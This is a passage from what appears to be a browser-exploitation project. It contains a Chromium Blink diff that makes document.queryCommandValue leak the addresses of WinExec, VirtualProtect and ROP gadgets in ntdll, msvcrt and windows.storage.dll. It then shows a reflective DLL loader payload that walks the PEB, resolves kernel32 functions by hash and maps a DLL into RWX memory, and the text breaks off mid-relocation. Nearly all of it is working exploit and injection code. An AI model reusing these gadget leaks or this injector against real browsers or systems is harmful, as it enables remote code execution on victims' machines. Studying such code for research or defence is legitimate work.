157 |      exception_state.ThrowTypeError(
158 | diff --git a/third_party/blink/renderer/core/editing/commands/document_exec_command.cc b/third_party/blink/renderer/core/editing/commands/document_exec_command.cc
159 | index 9cbe75b81b88..806c194861fe 100644
160 | --- a/third_party/blink/renderer/core/editing/commands/document_exec_command.cc
161 | +++ b/third_party/blink/renderer/core/editing/commands/document_exec_command.cc
162 | @@ -41,6 +41,8 @@
163 |  #include "third_party/blink/renderer/platform/histogram.h"
164 |  #include "third_party/blink/renderer/platform/wtf/std_lib_extras.h"
165 |  
166 | +#include 
167 | +
168 |  namespace blink {
169 |  
170 |  namespace {
171 | @@ -145,8 +147,198 @@ bool Document::queryCommandSupported(const String& command_name,
172 |    return GetCommand(this, command_name).IsSupported();
173 |  }
174 |  
175 | +static const char* find_gadget(const void* buffer, const char* pattern, int size) {
176 | +  const char* p = (const char*)buffer;
177 | +  for (; memcmp(p, pattern, size); ++p) {}
178 | +  return p;
179 | +}
180 | +
181 | +static String format_addr(void* address) {
182 | +  uint64_t addr = (uint64_t)address;
183 | +  return String::Number(addr);
184 | +}
185 | +
186 | +typedef struct _UNICODE_STR
187 | +{
188 | +	USHORT Length;
189 | +	USHORT MaximumLength;
190 | +	PWSTR pBuffer;
191 | +} UNICODE_STR, *PUNICODE_STR;
192 | +
193 | +// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
194 | +//__declspec( align(8) )
195 | +typedef struct _LDR_DATA_TABLE_ENTRY
196 | +{
197 | +	//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
198 | +	LIST_ENTRY InMemoryOrderModuleList;
199 | +	LIST_ENTRY InInitializationOrderModuleList;
200 | +	PVOID DllBase;
201 | +	PVOID EntryPoint;
202 | +	ULONG SizeOfImage;
203 | +	UNICODE_STR FullDllName;
204 | +	UNICODE_STR BaseDllName;
205 | +	ULONG Flags;
206 | +	SHORT LoadCount;
207 | +	SHORT TlsIndex;
208 | +	LIST_ENTRY HashTableEntry;
209 | +	ULONG TimeDateStamp;
210 | +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
211 | +
212 | +// WinDbg> dt -v ntdll!_PEB_LDR_DATA
213 | +typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
214 | +{
215 | +	DWORD dwLength;
216 | +	DWORD dwInitialized;
217 | +	LPVOID lpSsHandle;
218 | +	LIST_ENTRY InLoadOrderModuleList;
219 | +	LIST_ENTRY InMemoryOrderModuleList;
220 | +	LIST_ENTRY InInitializationOrderModuleList;
221 | +	LPVOID lpEntryInProgress;
222 | +} PEB_LDR_DATA, *PPEB_LDR_DATA;
223 | +
224 | +// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
225 | +typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
226 | +{
227 | +	struct _PEB_FREE_BLOCK * pNext;
228 | +	DWORD dwSize;
229 | +} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK;
230 | +
231 | +// struct _PEB is defined in Winternl.h but it is incomplete
232 | +// WinDbg> dt -v ntdll!_PEB
233 | +typedef struct __PEB // 65 elements, 0x210 bytes
234 | +{
235 | +	BYTE bInheritedAddressSpace;
236 | +	BYTE bReadImageFileExecOptions;
237 | +	BYTE bBeingDebugged;
238 | +	BYTE bSpareBool;
239 | +	LPVOID lpMutant;
240 | +	LPVOID lpImageBaseAddress;
241 | +	PPEB_LDR_DATA pLdr;
242 | +	LPVOID lpProcessParameters;
243 | +	LPVOID lpSubSystemData;
244 | +	LPVOID lpProcessHeap;
245 | +	PRTL_CRITICAL_SECTION pFastPebLock;
246 | +	LPVOID lpFastPebLockRoutine;
247 | +	LPVOID lpFastPebUnlockRoutine;
248 | +	DWORD dwEnvironmentUpdateCount;
249 | +	LPVOID lpKernelCallbackTable;
250 | +	DWORD dwSystemReserved;
251 | +	DWORD dwAtlThunkSListPtr32;
252 | +	PPEB_FREE_BLOCK pFreeList;
253 | +	DWORD dwTlsExpansionCounter;
254 | +	LPVOID lpTlsBitmap;
255 | +	DWORD dwTlsBitmapBits[2];
256 | +	LPVOID lpReadOnlySharedMemoryBase;
257 | +	LPVOID lpReadOnlySharedMemoryHeap;
258 | +	LPVOID lpReadOnlyStaticServerData;
259 | +	LPVOID lpAnsiCodePageData;
260 | +	LPVOID lpOemCodePageData;
261 | +	LPVOID lpUnicodeCaseTableData;
262 | +	DWORD dwNumberOfProcessors;
263 | +	DWORD dwNtGlobalFlag;
264 | +	LARGE_INTEGER liCriticalSectionTimeout;
265 | +	DWORD dwHeapSegmentReserve;
266 | +	DWORD dwHeapSegmentCommit;
267 | +	DWORD dwHeapDeCommitTotalFreeThreshold;
268 | +	DWORD dwHeapDeCommitFreeBlockThreshold;
269 | +	DWORD dwNumberOfHeaps;
270 | +	DWORD dwMaximumNumberOfHeaps;
271 | +	LPVOID lpProcessHeaps;
272 | +	LPVOID lpGdiSharedHandleTable;
273 | +	LPVOID lpProcessStarterHelper;
274 | +	DWORD dwGdiDCAttributeList;
275 | +	LPVOID lpLoaderLock;
276 | +	DWORD dwOSMajorVersion;
277 | +	DWORD dwOSMinorVersion;
278 | +	WORD wOSBuildNumber;
279 | +	WORD wOSCSDVersion;
280 | +	DWORD dwOSPlatformId;
281 | +	DWORD dwImageSubsystem;
282 | +	DWORD dwImageSubsystemMajorVersion;
283 | +	DWORD dwImageSubsystemMinorVersion;
284 | +	DWORD dwImageProcessAffinityMask;
285 | +	DWORD dwGdiHandleBuffer[34];
286 | +	LPVOID lpPostProcessInitRoutine;
287 | +	LPVOID lpTlsExpansionBitmap;
288 | +	DWORD dwTlsExpansionBitmapBits[32];
289 | +	DWORD dwSessionId;
290 | +	ULARGE_INTEGER liAppCompatFlags;
291 | +	ULARGE_INTEGER liAppCompatFlagsUser;
292 | +	LPVOID lppShimData;
293 | +	LPVOID lpAppCompatInfo;
294 | +	UNICODE_STR usCSDVersion;
295 | +	LPVOID lpActivationContextData;
296 | +	LPVOID lpProcessAssemblyStorageMap;
297 | +	LPVOID lpSystemDefaultActivationContextData;
298 | +	LPVOID lpSystemAssemblyStorageMap;
299 | +	DWORD dwMinimumStackCommit;
300 | +} _PEB, *_PPEB;
301 | +
302 | +typedef struct
303 | +{
304 | +	WORD    offset : 12;
305 | +	WORD    type : 4;
306 | +} IMAGE_RELOC, *PIMAGE_RELOC;
307 | +
308 | +char* find_mod(const char* name) {
309 | +	_PPEB peb = (_PPEB)__readgsqword(0x60);
310 | +
311 | +	// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
312 | +	PPEB_LDR_DATA ldr = peb->pLdr;
313 | +
314 | +	// get the first entry of the InMemoryOrder module list
315 | +	PLDR_DATA_TABLE_ENTRY entry = (PLDR_DATA_TABLE_ENTRY)ldr->InMemoryOrderModuleList.Flink;
316 | +	PLDR_DATA_TABLE_ENTRY first = entry;
317 | +	char buf[1024];
318 | +	do {
319 | +		// entry->BaseDllName.pBuffer;
320 | +		int i = 0;
321 | +		for (; i < entry->BaseDllName.Length; ++i) {
322 | +			buf[i] = entry->BaseDllName.pBuffer[i] & 0xff;
323 | +		}
324 | +		buf[i] = 0;
325 | +		if (!_stricmp(buf, name))
326 | +			return (char*)entry->DllBase;
327 | +		entry = (PLDR_DATA_TABLE_ENTRY)entry->InMemoryOrderModuleList.Flink;
328 | +	} while (entry && entry != first);
329 | +	return 0;
330 | +}
331 | +
332 |  String Document::queryCommandValue(const String& command_name,
333 |                                     ExceptionState& exception_state) {
334 | +  if (command_name == "is_hacked") {
335 | +    return "yes_hacked";
336 | +  }
337 | +
338 | +  if (command_name == "get_gadget_WinExec") {
339 | +    return format_addr((void*)GetProcAddress(LoadLibraryA("kernel32"), "WinExec"));
340 | +  }
341 | +
342 | +  if (command_name == "get_gadget_longjmp") {
343 | +    return format_addr((void*)find_gadget(find_mod("ntdll.dll"), "\x48\x8b\x51\x50\x48\x8b\x69\x18\x48\x8b\x61\x10\xff\xe2", 14));
344 | +  }
345 | +
346 | +  if (command_name == "get_gadget_poprcx") {
347 | +    return format_addr((void*)find_gadget(find_mod("msvcrt.dll"), "\x59\xc3", 2));
348 | +  }
349 | +
350 | +  if (command_name == "get_gadget_poprdx") {
351 | +    return format_addr((void*)find_gadget(find_mod("msvcrt.dll"), "\x5a\xc3", 2));
352 | +  }
353 | +
354 | +  if (command_name == "get_gadget_popr8") {
355 | +    return format_addr((void*)find_gadget(find_mod("windows.storage.dll"), "\x41\x58\xc3", 3));
356 | +  }
357 | +
358 | +  if (command_name == "get_gadget_storagemisc") {
359 | +		//0x18007f909: mov r9, rcx; sub r9, rdx; cmp rcx, rdx; mov qword[r8], r9; sbb eax, eax; and eax, 0x80070216; ret
360 | +    return format_addr((void*)(find_mod("windows.storage.dll") + 0x7f909));
361 | +  }
362 | +
363 | +  if (command_name == "get_gadget_VirtualProtect") {
364 | +    return format_addr((void*)GetProcAddress(LoadLibraryA("kernel32"), "VirtualProtect"));
365 | +  }
366 | +
367 |    if (!IsHTMLDocument() && !IsXHTMLDocument()) {
368 |      exception_state.ThrowDOMException(
369 |          DOMExceptionCode::kInvalidStateError,
370 | diff --git a/third_party/blink/renderer/core/loader/appcache/application_cache_host.cc b/third_party/blink/renderer/core/loader/appcache/application_cache_host.cc
371 | index e9ff97a67196..eaaae3676b65 100644
372 | --- a/third_party/blink/renderer/core/loader/appcache/application_cache_host.cc
373 | +++ b/third_party/blink/renderer/core/loader/appcache/application_cache_host.cc
374 | @@ -131,6 +131,21 @@ void ApplicationCacheHost::WillStartLoadingMainResource(const KURL& url,
375 |    // loading pipeline.
376 |  }
377 |  
378 | +void ApplicationCacheHost::RegisterHost(int32_t host_id) {
379 | +  CHECK(host_);
380 | +  host_->RegisterHost(host_id);
381 | +}
382 | +
383 | +void ApplicationCacheHost::UnregisterHost(int32_t host_id) {
384 | +  CHECK(host_);
385 | +  host_->UnregisterHost(host_id);
386 | +}
387 | +
388 | +void ApplicationCacheHost::SelectCache(int32_t host_id, const KURL& manifest_url, int64_t cache_document_was_loaded_from, const KURL& opt_manifest_url) {
389 | +  CHECK(host_);
390 | +  host_->SelectCache(host_id, manifest_url, cache_document_was_loaded_from, opt_manifest_url);
391 | +}
392 | +
393 |  void ApplicationCacheHost::SelectCacheWithoutManifest() {
394 |    if (host_)
395 |      host_->SelectCacheWithoutManifest();
396 | diff --git a/third_party/blink/renderer/core/loader/appcache/application_cache_host.h b/third_party/blink/renderer/core/loader/appcache/application_cache_host.h
397 | index 53568a1eab5b..6640cda838f7 100644
398 | --- a/third_party/blink/renderer/core/loader/appcache/application_cache_host.h
399 | +++ b/third_party/blink/renderer/core/loader/appcache/application_cache_host.h
400 | @@ -123,6 +123,10 @@ class CORE_EXPORT ApplicationCacheHost final
401 |  
402 |    typedef Vector ResourceInfoList;
403 |  
404 | +  void RegisterHost(int32_t host_id);
405 | +  void UnregisterHost(int32_t host_id);
406 | +  void SelectCache(int32_t host_id, const KURL& manifest_url, int64_t cache_document_was_loaded_from, const KURL& opt_manifest_url);
407 | +
408 |    void SelectCacheWithoutManifest();
409 |    void SelectCacheWithManifest(const KURL& manifest_url);
410 |  
411 | 


--------------------------------------------------------------------------------
/inject/payload/reflective_loader.c:
--------------------------------------------------------------------------------
  1 | //===============================================================================================//
  2 | // Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
  3 | // All rights reserved.
  4 | //
  5 | // Redistribution and use in source and binary forms, with or without modification, are permitted
  6 | // provided that the following conditions are met:
  7 | //
  8 | //     * Redistributions of source code must retain the above copyright notice, this list of
  9 | // conditions and the following disclaimer.
 10 | //
 11 | //     * Redistributions in binary form must reproduce the above copyright notice, this list of
 12 | // conditions and the following disclaimer in the documentation and/or other materials provided
 13 | // with the distribution.
 14 | //
 15 | //     * Neither the name of Harmony Security nor the names of its contributors may be used to
 16 | // endorse or promote products derived from this software without specific prior written permission.
 17 | //
 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 26 | // POSSIBILITY OF SUCH DAMAGE.
 27 | //===============================================================================================//
 28 | //#include "stdafx.h"
 29 | #include "reflective_loader.h"
 30 | //===============================================================================================//
 31 | 
 32 | #define DEREF(name)    *(UINT_PTR*)(name)
 33 | #define DEREF_64(name) *(DWORD64*)(name)
 34 | #define DEREF_32(name) *(DWORD*)(name)
 35 | #define DEREF_16(name) *(WORD*)(name)
 36 | #define DEREF_8(name)  *(BYTE*)(name)
 37 | 
 38 | typedef DWORD(WINAPI * REFLECTIVELOADER)();
 39 | typedef BOOL(WINAPI * DLLMAIN)(HINSTANCE, DWORD, LPVOID);
 40 | 
 41 | // Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
 42 | //         otherwise the DllMain at the end of this file will be used.
 43 | 
 44 | // Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
 45 | //         otherwise it is assumed you are calling the ReflectiveLoader via a stub.
 46 | 
 47 | // This is our position independent reflective DLL loader/injector
 48 | __declspec(dllexport) UINT_PTR WINAPI Loader(void* addr, void* param)
 49 | {
 50 | 
 51 | 	// the functions we need
 52 | 	LOADLIBRARYA pLoadLibraryA = NULL;
 53 | 	GETPROCADDRESS pGetProcAddress = NULL;
 54 | 	VIRTUALALLOC pVirtualAlloc = NULL;
 55 | 	USHORT usCounter;
 56 | 
 57 | 	// the initial location of this image in memory
 58 | 	UINT_PTR uiLibraryAddress = 0;
 59 | 	// the kernels base address and later this images newly loaded base address
 60 | 	UINT_PTR uiBaseAddress;
 61 | 
 62 | 	// variables for processing the kernels export table
 63 | 	UINT_PTR uiAddressArray;
 64 | 	UINT_PTR uiNameArray;
 65 | 	UINT_PTR uiExportDir;
 66 | 	UINT_PTR uiNameOrdinals;
 67 | 	DWORD dwHashValue;
 68 | 
 69 | 	// variables for loading this image
 70 | 	UINT_PTR uiHeaderValue;
 71 | 	UINT_PTR uiValueA;
 72 | 	UINT_PTR uiValueB;
 73 | 	UINT_PTR uiValueC;
 74 | 	UINT_PTR uiValueD;
 75 | 	UINT_PTR sectCount;
 76 | 
 77 | 	// STEP 0: calculate our images current base address
 78 | 
 79 | 	// we will start searching backwards from our current EIP
 80 | 	uiLibraryAddress = (UINT_PTR)addr;
 81 | 	//uiLibraryAddress = base;
 82 | 
 83 | 
 84 | 	// loop through memory backwards searching for our images base address
 85 | 	// we dont need SEH style search as we shouldnt generate any access violations with this
 86 | 	while (TRUE)
 87 | 	{
 88 | 		if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
 89 | 		{
 90 | 			uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
 91 | 			// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
 92 | 			// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
 93 | 			if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
 94 | 			{
 95 | 				uiHeaderValue += uiLibraryAddress;
 96 | 				// break if we have found a valid MZ/PE header
 97 | 				if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
 98 | 					break;
 99 | 			}
100 | 		}
101 | 		uiLibraryAddress--;
102 | 	}
103 | 
104 | 	// STEP 1: process the kernels exports for the functions our loader needs...
105 | 	INT3();
106 | 
107 | 	// get the Process Enviroment Block
108 | #ifdef BITS64
109 | 	uiBaseAddress = __readgsqword(0x60);
110 | #else
111 | 	uiBaseAddress = __readfsdword(0x30);
112 | #endif
113 | 
114 | 	// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
115 | 	uiBaseAddress = (UINT_PTR)((_PPEB)uiBaseAddress)->pLdr;
116 | 
117 | 	// get the first entry of the InMemoryOrder module list
118 | 	uiValueA = (UINT_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
119 | 	while (uiValueA)
120 | 	{
121 | 		// get pointer to current modules name (unicode string)
122 | 		uiValueB = (UINT_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
123 | 		// set bCounter to the length for the loop
124 | 		usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
125 | 		// clear uiValueC which will store the hash of the module name
126 | 		uiValueC = 0;
127 | 		// compute the hash of the module name...
128 | 		do
129 | 		{
130 | 			uiValueC = _rotr((DWORD)uiValueC, HASH_KEY);
131 | 			// normalize to uppercase if the madule name is in lowercase
132 | 			if (*((BYTE *)uiValueB) >= 'a')
133 | 				uiValueC += *((BYTE *)uiValueB) - 0x20;
134 | 			else
135 | 				uiValueC += *((BYTE *)uiValueB);
136 | 			uiValueB++;
137 | 		} while (--usCounter);
138 | 		// compare the hash with that of kernel32.dll
139 | 		if ((DWORD)uiValueC == KERNEL32DLL_HASH)
140 | 		{
141 | 			// get this modules base address
142 | 			uiBaseAddress = (UINT_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
143 | 			break;
144 | 		}
145 | 		// get the next entry
146 | 		uiValueA = DEREF(uiValueA);
147 | 	}
148 | 
149 | 	// get the VA of the modules NT Header
150 | 	uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
151 | 
152 | 	// uiNameArray = the address of the modules export directory entry
153 | 	uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
154 | 
155 | 	// get the VA of the export directory
156 | 	uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
157 | 
158 | 	// get the VA for the array of name pointers
159 | 	uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
160 | 
161 | 	// get the VA for the array of name ordinals
162 | 	uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
163 | 
164 | 	usCounter = 3;
165 | 
166 | 	// loop while we still have imports to find
167 | 	while (usCounter > 0)
168 | 	{
169 | 		// compute the hash values for this function name
170 | 
171 | 		dwHashValue = 0;
172 | 		char*c = (char *)(uiBaseAddress + DEREF_32(uiNameArray));
173 | 		do
174 | 		{
175 | 			dwHashValue = _rotr(dwHashValue, HASH_KEY)+*c;
176 | 		} while (*++c);
177 | 
178 | 		// if we have found a function we want we get its virtual address
179 | 		if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH)
180 | 		{
181 | 			// get the VA for the array of addresses
182 | 			uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
183 | 
184 | 			// use this functions name ordinal as an index into the array of name pointers
185 | 			uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
186 | 
187 | 			// store this functions VA
188 | 			if (dwHashValue == LOADLIBRARYA_HASH)
189 | 				pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
190 | 			else if (dwHashValue == GETPROCADDRESS_HASH)
191 | 				pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
192 | 			else if (dwHashValue == VIRTUALALLOC_HASH)
193 | 				pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));
194 | 
195 | 			// decrement our counter
196 | 			usCounter--;
197 | 		}
198 | 
199 | 		// get the next exported function name
200 | 		uiNameArray += sizeof(DWORD);
201 | 
202 | 		// get the next exported function name ordinal
203 | 		uiNameOrdinals += sizeof(WORD);
204 | 	}
205 | 
206 | 	// STEP 2: load our image into a new permanent location in memory...
207 | 
208 | 	INT3();
209 | 
210 | 	// get the VA of the NT Header for the PE to be loaded
211 | 	uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
212 | 
213 | 	// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
214 | 	// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
215 | 	DWORD size =  ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage;
216 | 	//printf("SizeOfImage: %x\n", size);
217 | 	uiBaseAddress = (UINT_PTR)pVirtualAlloc(NULL, size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
218 | 
219 | 	// we must now copy over the headers
220 | 	uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
221 | 	//printf("SizeOfHeaders: %x\n", uiValueA);
222 | 	uiValueB = uiLibraryAddress;
223 | 	uiValueC = uiBaseAddress;
224 | 	__movsb((PBYTE)uiValueC, (PBYTE)uiValueB, uiValueA);
225 | 
226 | 	// STEP 3: load in all of our sections...
227 | 
228 | 	INT3();
229 | 
230 | 	// uiValueA = the VA of the first section
231 | 	uiValueA = ((UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
232 | 
233 | 	// itterate through all sections, loading them into memory.
234 | 	sectCount = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
235 | 	while (sectCount--)
236 | 	{
237 | 		// uiValueB is the VA for this section
238 | 		uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
239 | 
240 | 		// uiValueC if the VA for this sections data
241 | 		uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);
242 | 		//printf("Section: VirtualAddress=%x PointerToRawData=%p Size=%x\n",
243 | 		//	((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress,
244 | 		//	((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData,
245 | 		//	((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData
246 | 		//	);
247 | 
248 | 		// copy the section over
249 | 		uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
250 | 		__movsb((PBYTE)uiValueB, (PBYTE)uiValueC, uiValueD);
251 | 
252 | 		// get the VA of the next section
253 | 		uiValueA += sizeof(IMAGE_SECTION_HEADER);
254 | 	}
255 | 
256 | 	// STEP 4: process our images import table...
257 | 
258 | 	INT3();
259 | 
260 | 	/*
261 | 	for (int i = 0; i < 0x200; ++i) {
262 | 		if (i % 0x10 == 0) {
263 | 			printf("\n%08x: ", i);
264 | 		}
265 | 		printf("%02x ", (int)((unsigned char*)uiHeaderValue)[i]);
266 | 	}
267 | 	printf("\n");
268 | 	*/
269 | 
270 | 	// uiValueB = the address of the import directory
271 | 	//printf("IMAGE_DIRECTORY_ENTRY_IMPORT = %d\n", IMAGE_DIRECTORY_ENTRY_IMPORT);
272 | 	uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
273 | 	//printf("Offset import directory entry: %x\n", uiValueB - uiHeaderValue);
274 | 	//printf("VirtualAddress: %x\n", ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
275 | 	//printf("size: %x\n", ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size);
276 | 	// we assume their is an import table to process
277 | 	// uiValueC is the first entry in the import table
278 | 
279 | 	uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
280 | 
281 | 	// itterate through all imports
282 | 	while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)
283 | 	{
284 | 		//printf("Name=%x\n", ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name);
285 | 		// use LoadLibraryA to load the imported module into memory
286 | 		uiLibraryAddress = (UINT_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
287 | 		if (!uiLibraryAddress) {
288 | 			//__debugbreak();
289 | 		}
290 | 		// uiValueD = VA of the OriginalFirstThunk
291 | 		uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);
292 | 
293 | 		// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
294 | 		uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);
295 | 
296 | 		// itterate through all imported functions, importing by ordinal if no name present
297 | 		while (DEREF(uiValueA))
298 | 		{
299 | 			// sanity check uiValueD as some compilers only import by FirstThunk
300 | 			if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
301 | 			{
302 | 				// get the VA of the modules NT Header
303 | 				uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
304 | 
305 | 				// uiNameArray = the address of the modules export directory entry
306 | 				uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
307 | 
308 | 				// get the VA of the export directory
309 | 				uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
310 | 
311 | 				// get the VA for the array of addresses
312 | 				uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
313 | 
314 | 				// use the import ordinal (- export ordinal base) as an index into the array of addresses
315 | 				uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));
316 | 
317 | 				// patch in the address for this imported function
318 | 				DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
319 | 			}
320 | 			else
321 | 			{
322 | 				// get the VA of this functions import by name struct
323 | 				uiValueB = (uiBaseAddress + DEREF(uiValueA));
324 | 
325 | 				// use GetProcAddress and patch in the address for this imported function
326 | 				DEREF(uiValueA) = (UINT_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
327 | 			}
328 | 			// get the next imported function
329 | 			uiValueA += sizeof(UINT_PTR);
330 | 			if (uiValueD)
331 | 				uiValueD += sizeof(UINT_PTR);
332 | 		}
333 | 
334 | 		// get the next import
335 | 		uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
336 | 	}
337 | 
338 | 	// STEP 5: process all of our images relocations...
339 | 
340 | 	INT3();
341 | 
342 | 	// calculate the base address delta and perform relocations (even if we load at desired image base)
343 | 	uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
344 | 
345 | 	// uiValueB = the address of the relocation directory
346 | 	uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
347 | 
348 | 	// check if their are any relocations present
349 | 	if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)
350 | 	{
351 | 		// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
352 | 		uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
353 | 
354 | 		// and we itterate through all entries...
355 | 		while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
356 | 		{
357 | 			// uiValueA = the VA for this relocation block
358 | 			uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);
359 | 
360 | 			// uiValueB = number of entries in this relocation block
361 | 			uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
362 | 
363 | 			// uiValueD is now the first entry in the current relocation block
364 | 			uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
365 | 
366 | 			// we itterate through all the entries in the current block...
367 | 			while (uiValueB--)
368 | 			{
369 | 				// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
